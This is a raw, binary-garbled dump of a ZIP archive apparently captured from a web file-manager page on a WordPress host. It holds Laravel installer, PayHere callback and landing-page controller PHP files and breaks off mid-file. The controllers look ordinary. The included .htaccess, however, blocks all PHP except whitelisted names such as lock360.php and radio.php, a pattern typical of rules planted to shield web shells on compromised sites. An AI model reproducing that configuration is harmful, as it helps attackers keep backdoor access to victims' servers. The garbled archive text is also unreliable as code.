���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/zhaagvlk/public_html/wp-includes/Requests/library/block-bindings/Controllers.zip
���ѧ٧ѧ�
PK �Av\9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �Av\�?PC C UpdateController.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Controllers; use Illuminate\Routing\Controller; use RachidLaasri\LaravelInstaller\Helpers\DatabaseManager; use RachidLaasri\LaravelInstaller\Helpers\InstalledFileManager; class UpdateController extends Controller { use \RachidLaasri\LaravelInstaller\Helpers\MigrationsHelper; /** * Display the updater welcome page. * * @return \Illuminate\View\View */ public function welcome() { return view('vendor.installer.update.welcome'); } /** * Display the updater overview page. * * @return \Illuminate\View\View */ public function overview() { $migrations = $this->getMigrations(); $dbMigrations = $this->getExecutedMigrations(); return view('vendor.installer.update.overview', ['numberOfUpdatesPending' => count($migrations) - count($dbMigrations)]); } /** * Migrate and seed the database. * * @return \Illuminate\View\View */ public function database() { $databaseManager = new DatabaseManager; $response = $databaseManager->migrateAndSeed(); return redirect()->route('LaravelUpdater::final') ->with(['message' => $response]); } /** * Update installed file and display finished view. * * @param InstalledFileManager $fileManager * @return \Illuminate\View\View */ public function finish(InstalledFileManager $fileManager) { $fileManager->update(); return view('vendor.installer.update.finished'); } } PK �Av\9^��V V WelcomeController.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Controllers; use Illuminate\Routing\Controller; class WelcomeController extends Controller { /** * Display the installer welcome page. * * @return \Illuminate\Http\Response */ public function welcome() { return view('vendor.installer.welcome'); } } PK �Av\.�� PermissionsController.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Controllers; use Illuminate\Routing\Controller; use RachidLaasri\LaravelInstaller\Helpers\PermissionsChecker; class PermissionsController extends Controller { /** * @var PermissionsChecker */ protected $permissions; /** * @param PermissionsChecker $checker */ public function __construct(PermissionsChecker $checker) { $this->permissions = $checker; } /** * Display the permissions check page. * * @return \Illuminate\View\View */ public function permissions() { $permissions = $this->permissions->check( config('installer.permissions') ); return view('vendor.installer.permissions', compact('permissions')); } } PK �Av\)jH EnvironmentController.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Controllers; use Exception; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Illuminate\Routing\Redirector; use Illuminate\Support\Facades\DB; use RachidLaasri\LaravelInstaller\Events\EnvironmentSaved; use RachidLaasri\LaravelInstaller\Helpers\EnvironmentManager; use Validator; class EnvironmentController extends Controller { /** * @var EnvironmentManager */ protected $EnvironmentManager; /** * @param EnvironmentManager $environmentManager */ public function __construct(EnvironmentManager $environmentManager) { $this->EnvironmentManager = $environmentManager; } /** * Display the Environment menu page. * * @return \Illuminate\View\View */ public function environmentMenu() { return view('vendor.installer.environment'); } /** * Display the Environment page. * * @return \Illuminate\View\View */ public function environmentWizard() { $envConfig = $this->EnvironmentManager->getEnvContent(); return view('vendor.installer.environment-wizard', compact('envConfig')); } /** * Display the Environment page. * * @return \Illuminate\View\View */ public function environmentClassic() { $envConfig = $this->EnvironmentManager->getEnvContent(); return view('vendor.installer.environment-classic', compact('envConfig')); } /** * Processes the newly saved environment configuration (Classic). * * @param Request $input * @param Redirector $redirect * @return \Illuminate\Http\RedirectResponse */ public function saveClassic(Request $input, Redirector $redirect) { $message = $this->EnvironmentManager->saveFileClassic($input); event(new EnvironmentSaved($input)); return $redirect->route('LaravelInstaller::environmentClassic') ->with(['message' => $message]); } /** * Processes the newly saved environment configuration (Form Wizard). * * @param Request $request * @param Redirector $redirect * @return \Illuminate\Http\RedirectResponse */ public function saveWizard(Request $request, Redirector $redirect) { $rules = config('installer.environment.form.rules'); $messages = [ 'environment_custom.required_if' => trans('installer_messages.environment.wizard.form.name_required'), ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return $redirect->route('LaravelInstaller::environmentWizard')->withInput()->withErrors($validator->errors()); } if (! $this->checkDatabaseConnection($request)) { return $redirect->route('LaravelInstaller::environmentWizard')->withInput()->withErrors([ 'database_connection' => trans('installer_messages.environment.wizard.form.db_connection_failed'), ]); } $results = $this->EnvironmentManager->saveFileWizard($request); event(new EnvironmentSaved($request)); return $redirect->route('LaravelInstaller::database') ->with(['results' => $results]); } /** * TODO: We can remove this code if PR will be merged: https://github.com/RachidLaasri/LaravelInstaller/pull/162 * Validate database connection with user credentials (Form Wizard). * * @param Request $request * @return bool */ private function checkDatabaseConnection(Request $request) { $connection = $request->input('database_connection'); $settings = config("database.connections.$connection"); config([ 'database' => [ 'default' => $connection, 'connections' => [ $connection => array_merge($settings, [ 'driver' => $connection, 'host' => $request->input('database_hostname'), 'port' => $request->input('database_port'), 'database' => $request->input('database_name'), 'username' => $request->input('database_username'), 'password' => $request->input('database_password'), ]), ], ], ]); DB::purge(); try { DB::connection()->getPdo(); return true; } catch (Exception $e) { return false; } } } PK �Av\U�y�� � FinalController.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Controllers; use Illuminate\Routing\Controller; use RachidLaasri\LaravelInstaller\Events\LaravelInstallerFinished; use RachidLaasri\LaravelInstaller\Helpers\EnvironmentManager; use RachidLaasri\LaravelInstaller\Helpers\FinalInstallManager; use RachidLaasri\LaravelInstaller\Helpers\InstalledFileManager; class FinalController extends Controller { /** * Update installed file and display finished view. * * @param \RachidLaasri\LaravelInstaller\Helpers\InstalledFileManager $fileManager * @param \RachidLaasri\LaravelInstaller\Helpers\FinalInstallManager $finalInstall * @param \RachidLaasri\LaravelInstaller\Helpers\EnvironmentManager $environment * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function finish(InstalledFileManager $fileManager, FinalInstallManager $finalInstall, EnvironmentManager $environment) { $finalMessages = $finalInstall->runFinal(); $finalStatusMessage = $fileManager->update(); $finalEnvFile = $environment->getEnvContent(); event(new LaravelInstallerFinished); return view('vendor.installer.finished', compact('finalMessages', 'finalStatusMessage', 'finalEnvFile')); } } PK �Av\�+ ( DatabaseController.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Controllers; use Illuminate\Routing\Controller; use RachidLaasri\LaravelInstaller\Helpers\DatabaseManager; class DatabaseController extends Controller { /** * @var DatabaseManager */ private $databaseManager; /** * @param DatabaseManager $databaseManager */ public function __construct(DatabaseManager $databaseManager) { $this->databaseManager = $databaseManager; } /** * Migrate and seed the database. * * @return \Illuminate\View\View */ public function database() { $response = $this->databaseManager->migrateAndSeed(); return redirect()->route('LaravelInstaller::final') ->with(['message' => $response]); } } PK �Av\d�ح � RequirementsController.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Controllers; use Illuminate\Routing\Controller; use RachidLaasri\LaravelInstaller\Helpers\RequirementsChecker; class RequirementsController extends Controller { /** * @var RequirementsChecker */ protected $requirements; /** * @param RequirementsChecker $checker */ public function __construct(RequirementsChecker $checker) { $this->requirements = $checker; } /** * Display the requirements page. * * @return \Illuminate\View\View */ public function requirements() { $phpSupportInfo = $this->requirements->checkPHPversion( config('installer.core.minPhpVersion') ); $requirements = $this->requirements->check( config('installer.requirements') ); return view('vendor.installer.requirements', compact('requirements', 'phpSupportInfo')); } } PK E9w\����_ _ CallbackController.phpnu �[��� <?php /** * Created by PhpStorm. * User: lahiru * Date: 11/26/21 * Time: 3:09 PM */ namespace Lahirulhr\PayHere\Controllers; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Lahirulhr\PayHere\Api\Authorize; use Lahirulhr\PayHere\Api\Checkout; use Lahirulhr\PayHere\Api\PreApproval; use Lahirulhr\PayHere\Api\Recurring; use Lahirulhr\PayHere\Events\AuthorizeCallbackEvent; use Lahirulhr\PayHere\Events\CheckoutCallbackEvent; use Lahirulhr\PayHere\Events\PreapprovalCallbackEvent; use Lahirulhr\PayHere\Events\RecurringCallbackEvent; class CallbackController extends Controller { public function handle($type, Request $request) { switch ($type) { case Authorize::getCallbackKey(): event(new AuthorizeCallbackEvent($request->all())); break; case Checkout::getCallbackKey(): event(new CheckoutCallbackEvent($request->all())); break; case Recurring::getCallbackKey(): event(new RecurringCallbackEvent($request->all())); break; case PreApproval::getCallbackKey(): event(new PreapprovalCallbackEvent($request->all())); break; case "test": // emit event two dd('test'); break; } } } PK 0nx\g|"�� � CustomPageController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class CustomPageController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $settings = LandingPageSetting::settings(); $pages = json_decode($settings['menubar_page'], true); return view('landingpage::landingpage.menubar.index', compact('pages', 'settings')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::landingpage.menubar.create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $settings = LandingPageSetting::settings(); $data = json_decode($settings['menubar_page'], true); $page_slug = str_replace(' ', '_', strtolower($request->menubar_page_name)); $datas['menubar_page_name'] = $request->menubar_page_name; $datas['menubar_page_contant'] = $request->menubar_page_contant; $datas['page_slug'] = $page_slug; if ($request->header) { $datas['header'] = 'on'; } else { $datas['header'] = 'off'; } if ($request->footer) { $datas['footer'] = 'on'; } else { $datas['footer'] = 'off'; } $datas['template_name'] = $request->template_name; if (isset($request->template_name) && $request->template_name == 'page_url') { $datas['page_url'] = $request->page_url; $datas['menubar_page_contant'] = ''; } else { $datas['page_url'] = ''; $datas['menubar_page_contant'] = $request->menubar_page_contant; } if($request->login){ $datas['login'] = 'on'; }else{ $datas['login'] = 'off'; } $data[] = $datas; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'menubar_page'], ['value' => $data]); return redirect()->back()->with(['success' => 'Page add successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($key) { $settings = LandingPageSetting::settings(); $pages = json_decode($settings['menubar_page'], true); $page = $pages[$key]; return view('landingpage::landingpage.menubar.edit', compact('page', 'key')); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $key) { $settings = LandingPageSetting::settings(); $data = json_decode($settings['menubar_page'], true); $page_slug = str_replace(' ', '_', strtolower($request->menubar_page_name)); $datas['menubar_page_name'] = $request->menubar_page_name; $datas['menubar_page_contant'] = $request->menubar_page_contant; $datas['page_slug'] = $page_slug; if ($request->header) { $datas['header'] = 'on'; } else { $datas['header'] = 'off'; } if ($request->footer) { $datas['footer'] = 'on'; } else { $datas['footer'] = 'off'; } $datas['template_name'] = $request->template_name; if (isset($request->template_name) && $request->template_name == 'page_url') { $datas['page_url'] = $request->page_url; $datas['menubar_page_contant'] = ''; } else { $datas['page_url'] = ''; $datas['menubar_page_contant'] = $request->menubar_page_contant; } if ($request->login) { $datas['login'] = 'on'; } else { $datas['login'] = 'off'; } $data[$key] = $datas; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'menubar_page'], ['value' => $data]); return redirect()->back()->with(['success' => 'Page Updated successfully']); } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($key) { $settings = LandingPageSetting::settings(); $pages = json_decode($settings['menubar_page'], true); unset($pages[$key]); LandingPageSetting::updateOrCreate(['name' => 'menubar_page'], ['value' => $pages]); return redirect()->back()->with(['success' => 'Page deleted successfully']); } public function customStore(Request $request) { if ($request->site_logo) { $site_logo = "site_logo." . $request->site_logo->getClientOriginalExtension(); $dir = 'uploads/landing_page_image'; $path = LandingPageSetting::upload_file($request, 'site_logo', $site_logo, $dir, []); if ($path['flag'] == 0) { return redirect()->back()->with('error', __($path['msg'])); } $data['site_logo'] = $site_logo; } $data['site_description'] = $request->site_description; foreach ($data as $key => $value) { LandingPageSetting::updateOrCreate(['name' => $key], ['value' => $value]); } return redirect()->back()->with(['success' => 'Settings updated successfully']); } public function customPage($slug) { $settings = LandingPageSetting::settings(); $pages = json_decode($settings['menubar_page'], true); foreach ($pages as $key => $page) { if ($page['page_slug'] == $slug) { // dd($page); return view('landingpage::layouts.custompage', compact('page', 'settings')); } } } } PK 1nx\ ɵ�� � FaqController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class FaqController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $settings = LandingPageSetting::settings(); $faqs = json_decode($settings['faqs'], true) ?? []; // dd($feature_of_features); return view('landingpage::landingpage.faq.index', compact('settings','faqs')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $data['is_faq_section_on']= isset($request->is_faq_section_on) && $request->is_faq_section_on == 'on' ? 'on' : 'off' ; $data['faq_title']= $request->faq_title; $data['faq_heading']= $request->faq_heading; $data['faq_description']= $request->faq_description; foreach($data as $key => $value){ LandingPageSetting::updateOrCreate(['name' => $key],['value' => $value]); } return redirect()->back()->with(['success'=> 'Setting update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::edit'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { // } public function faq_create(){ $settings = LandingPageSetting::settings(); return view('landingpage::landingpage.faq.create'); } public function faq_store(Request $request){ $settings = LandingPageSetting::settings(); $data = json_decode($settings['faqs'], true); $datas['faq_questions']= $request->faq_questions; $datas['faq_answer']= $request->faq_answer; $data[] = $datas; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'faqs'],['value' => $data]); return redirect()->back()->with(['success'=> 'Faq add successfully']); } public function faq_edit($key){ $settings = LandingPageSetting::settings(); $faqs = json_decode($settings['faqs'], true); $faq = $faqs[$key]; return view('landingpage::landingpage.faq.edit', compact('faq','key')); } public function faq_update(Request $request, $key){ $settings = LandingPageSetting::settings(); $data = json_decode($settings['faqs'], true); $data[$key]['faq_questions'] = $request->faq_questions; $data[$key]['faq_answer'] = $request->faq_answer; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'faqs'],['value' => $data]); return redirect()->back()->with(['success'=> 'Faq update successfully']); } public function faq_delete($key) { $settings = LandingPageSetting::settings(); $pages = json_decode($settings['faqs'], true); unset($pages[$key]); LandingPageSetting::updateOrCreate(['name' => 'faqs'], ['value' => $pages]); return redirect()->back()->with(['success' => 'Faq delete successfully']); } } PK 1nx\��,"� � TestimonialsController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class TestimonialsController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $settings = LandingPageSetting::settings(); $testimonials = json_decode($settings['testimonials'], true) ?? []; return view('landingpage::landingpage.testimonials.index',compact('settings','testimonials')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::landingpage.testimonials.create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $data['is_testimonials_section_on']= isset($request->is_testimonials_section_on) && $request->is_testimonials_section_on == 'on' ? 'on' : 'off' ; $data['testimonials_heading']= $request->testimonials_heading; $data['testimonials_description']= $request->testimonials_description; $data['testimonials_long_description']= $request->testimonials_long_description; foreach($data as $key => $value){ LandingPageSetting::updateOrCreate(['name' => $key],['value' => $value]); } return redirect()->back()->with(['success'=> 'Setting update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::edit'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { // } public function testimonials_create(){ $settings = LandingPageSetting::settings(); return view('landingpage::landingpage.testimonials.create'); } public function testimonials_store(Request $request){ $settings = LandingPageSetting::settings(); $data = json_decode($settings['testimonials'], true); if( $request->testimonials_user_avtar){ $testimonials_user_avtar = time()."-testimonials_user_avtar." . $request->testimonials_user_avtar->getClientOriginalExtension(); $dir = 'uploads/landing_page_image'; $path = LandingPageSetting::upload_file($request,'testimonials_user_avtar',$testimonials_user_avtar,$dir,[]); if($path['flag']==0){ return redirect()->back()->with('error', __($path['msg'])); } $datas['testimonials_user_avtar'] = $testimonials_user_avtar; } $datas['testimonials_title']= $request->testimonials_title; $datas['testimonials_description']= $request->testimonials_description; $datas['testimonials_user']= $request->testimonials_user; $datas['testimonials_designation']= $request->testimonials_designation; $datas['testimonials_star']= $request->testimonials_star; $data[] = $datas; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'testimonials'],['value' => $data]); return redirect()->back()->with(['success'=> 'Testimonials add successfully']); } public function testimonials_edit($key){ $settings = LandingPageSetting::settings(); $testimonials = json_decode($settings['testimonials'], true); $testimonial = $testimonials[$key]; return view('landingpage::landingpage.testimonials.edit', compact('testimonial','key')); } public function testimonials_update(Request $request, $key){ $settings = LandingPageSetting::settings(); $data = json_decode($settings['testimonials'], true); if( $request->testimonials_user_avtar){ $testimonials_user_avtar = time()."-testimonials_user_avtar." . $request->testimonials_user_avtar->getClientOriginalExtension(); $dir = 'uploads/landing_page_image'; $path = LandingPageSetting::upload_file($request,'testimonials_user_avtar',$testimonials_user_avtar,$dir,[]); if($path['flag']==0){ return redirect()->back()->with('error', __($path['msg'])); } $data[$key]['testimonials_user_avtar'] = $testimonials_user_avtar; } $data[$key]['testimonials_title'] = $request->testimonials_title; $data[$key]['testimonials_description'] = $request->testimonials_description; $data[$key]['testimonials_user'] = $request->testimonials_user; $data[$key]['testimonials_designation'] = $request->testimonials_designation; $data[$key]['testimonials_star'] = $request->testimonials_star; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'testimonials'],['value' => $data]); return redirect()->back()->with(['success'=> 'Testimonials update successfully']); } public function testimonials_delete($key){ $settings = LandingPageSetting::settings(); $pages = json_decode($settings['testimonials'], true); unset($pages[$key]); LandingPageSetting::updateOrCreate(['name' => 'testimonials'],['value' => $pages]); return redirect()->back()->with(['success'=> 'Testimonials delete successfully']); } } PK 1nx\u~ZoN N ScreenshotsController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class ScreenshotsController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $settings = LandingPageSetting::settings(); $screenshots = json_decode($settings['screenshots'], true) ?? []; // dd($screenshots); return view('landingpage::landingpage.screenshots.index',compact('settings','screenshots')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::landingpage.screenshots.create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $data['is_screenshots_section_on']= isset($request->is_screenshots_section_on) && $request->is_screenshots_section_on == 'on' ? 'on' : 'off' ; $data['screenshots_heading']= $request->screenshots_heading; $data['screenshots_description']= $request->screenshots_description; foreach($data as $key => $value){ LandingPageSetting::updateOrCreate(['name' => $key],['value' => $value]); } return redirect()->back()->with(['success'=> 'Setting update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::landingpage.screenshots.show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::landingpage.screenshots.edit'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { // } public function screenshots_create(){ $settings = LandingPageSetting::settings(); return view('landingpage::landingpage.screenshots.create'); } public function screenshots_store(Request $request){ $settings = LandingPageSetting::settings(); $data = json_decode($settings['screenshots'], true); if( $request->screenshots){ $screenshots = time()."-screenshots." . $request->screenshots->getClientOriginalExtension(); $dir = 'uploads/landing_page_image'; $path = LandingPageSetting::upload_file($request,'screenshots',$screenshots,$dir,[]); if($path['flag']==0){ return redirect()->back()->with('error', __($path['msg'])); } $datas['screenshots'] = $screenshots; } $datas['screenshots_heading']= $request->screenshots_heading; $data[] = $datas; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'screenshots'],['value' => $data]); return redirect()->back()->with(['success'=> 'screenshots add successfully']); } public function screenshots_edit($key){ $settings = LandingPageSetting::settings(); $screenshots = json_decode($settings['screenshots'], true); $screenshot = $screenshots[$key]; return view('landingpage::landingpage.screenshots.edit', compact('screenshot','key')); } public function screenshots_update(Request $request, $key){ $settings = LandingPageSetting::settings(); $data = json_decode($settings['screenshots'], true); if( $request->screenshots){ $screenshots = time()."-screenshots." . $request->screenshots->getClientOriginalExtension(); $dir = 'uploads/landing_page_image'; $path = LandingPageSetting::upload_file($request,'screenshots',$screenshots,$dir,[]); if($path['flag']==0){ return redirect()->back()->with('error', __($path['msg'])); } $data[$key]['screenshots'] = $screenshots; } $data[$key]['screenshots_heading'] = $request->screenshots_heading; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'screenshots'],['value' => $data]); return redirect()->back()->with(['success'=> 'screenshots update successfully']); } public function screenshots_delete($key){ $settings = LandingPageSetting::settings(); $pages = json_decode($settings['screenshots'], true); unset($pages[$key]); LandingPageSetting::updateOrCreate(['name' => 'screenshots'],['value' => $pages]); return redirect()->back()->with(['success'=> 'Screenshots delete successfully']); } } PK 2nx\>/q�D D LandingPageController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class LandingPageController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { return view('landingpage::landingpage.topbar'); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $data = [ "topbar_status" => $request->topbar_status ? $request->topbar_status : "off", "feature_status" => $request->feature_status ? $request->feature_status : "off", "topbar_notification_msg" => $request->topbar_notification_msg, ]; foreach($data as $key => $value){ LandingPageSetting::updateOrCreate(['name' => $key],['value' => $value]); } return redirect()->back()->with(['success'=> 'Topbar setting update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::edit'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { // } } PK 2nx\J�g. . HomeController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class HomeController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $settings = LandingPageSetting::settings(); return view('landingpage::landingpage.homesection', compact('settings')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $uploadedFiles = $request->all(); if ($request->home_banner) { $home_banner = "home_banner." . $request->home_banner->getClientOriginalExtension(); $dir = 'uploads/landing_page_image'; $path = LandingPageSetting::upload_file($request, 'home_banner', $home_banner, $dir, []); if ($path['flag'] == 0) { return redirect()->back()->with('error', __($path['msg'])); } $data['home_banner'] = $home_banner; } $temp_logo = explode(",", $request->savedlogo); $stored_home_logo = LandingPageSetting::settings()['home_logo']; $home_logo = array_intersect($temp_logo, explode(",", $stored_home_logo)); if ($request->home_logo) { $files = $request->home_logo; foreach ($files as $key => $file) { $file_data = $file['home_logo']; $file_name = md5(time()) . "_" . $file_data->getClientOriginalName(); $dir = 'uploads/landing_page_image/'; $path = LandingPageSetting::keyWiseUpload_file($request, 'home_logo', $file_name, $dir, $key, []); if ($path['flag'] == 1) { $url = $path['url']; $home_logo[] = $url; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $data['home_logo'] = implode(",", array_filter($home_logo)); $data['home_status'] = 'on'; $data['home_offer_text'] = $request->home_offer_text; $data['home_title'] = $request->home_title; $data['home_heading'] = $request->home_heading; $data['home_description'] = $request->home_description; $data['home_trusted_by'] = $request->home_trusted_by; $data['home_live_demo_link'] = $request->home_live_demo_link; $data['home_buy_now_link'] = $request->home_buy_now_link; foreach ($data as $key => $value) { LandingPageSetting::updateOrCreate(['name' => $key], ['value' => $value]); } return redirect()->back()->with(['success' => 'Setting update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::edit'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { // } } PK 2nx\�;�m� � PricingPlanController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class PricingPlanController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $settings = LandingPageSetting::settings(); return view('landingpage::landingpage.pricing_plan', compact('settings')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $data['is_pricing_plan_section_on']= isset($request->is_pricing_plan_section_on) && $request->is_pricing_plan_section_on == 'on' ? 'on' : 'off' ; $data['plan_title']= $request->plan_title; $data['plan_heading']= $request->plan_heading; $data['plan_description']= $request->plan_description; foreach($data as $key => $value){ LandingPageSetting::updateOrCreate(['name' => $key],['value' => $value]); } return redirect()->back()->with(['success'=> 'Plan update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::edit'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { // } } PK 2nx\ .gitkeepnu �[��� PK 2nx\5��H� � JoinUsController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; use Modules\LandingPage\Entities\JoinUs; use Illuminate\Support\Facades\Validator; class JoinUsController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $join_us = JoinUs::get(); return view('landingpage::landingpage.joinus', compact('join_us')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $data['is_joinus_section_on']= isset($request->is_joinus_section_on) && $request->is_joinus_section_on == 'on' ? 'on' : 'off' ; $data['joinus_heading']= $request->joinus_heading; $data['joinus_description']= $request->joinus_description; foreach($data as $key => $value){ LandingPageSetting::updateOrCreate(['name' => $key],['value' => $value]); } return redirect()->back()->with(['success'=> 'Setting update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::landingpage.joinus'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::landingpage.joinus'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { $join = JoinUs::find($id); $join->delete(); return redirect()->back()->with(['success'=> 'You are joined with our community']); } public function joinUsUserStore(Request $request){ $validator = Validator::make( $request->all(), [ 'email' => 'required|email|unique:join_us', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $join = new JoinUs; $join->email = $request->email; $join->save(); return redirect()->back()->with(['success'=> 'You are joined with our community']); } } PK 3nx\�fN� � DiscoverController.phpnu �[��� <?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class DiscoverController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $settings = LandingPageSetting::settings(); $discover_of_features = json_decode($settings['discover_of_features'], true) ?? []; // dd($discover_of_features); return view('landingpage::landingpage.discover.index',compact('settings','discover_of_features')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::landingpage.discover.create'); } /** * Store a 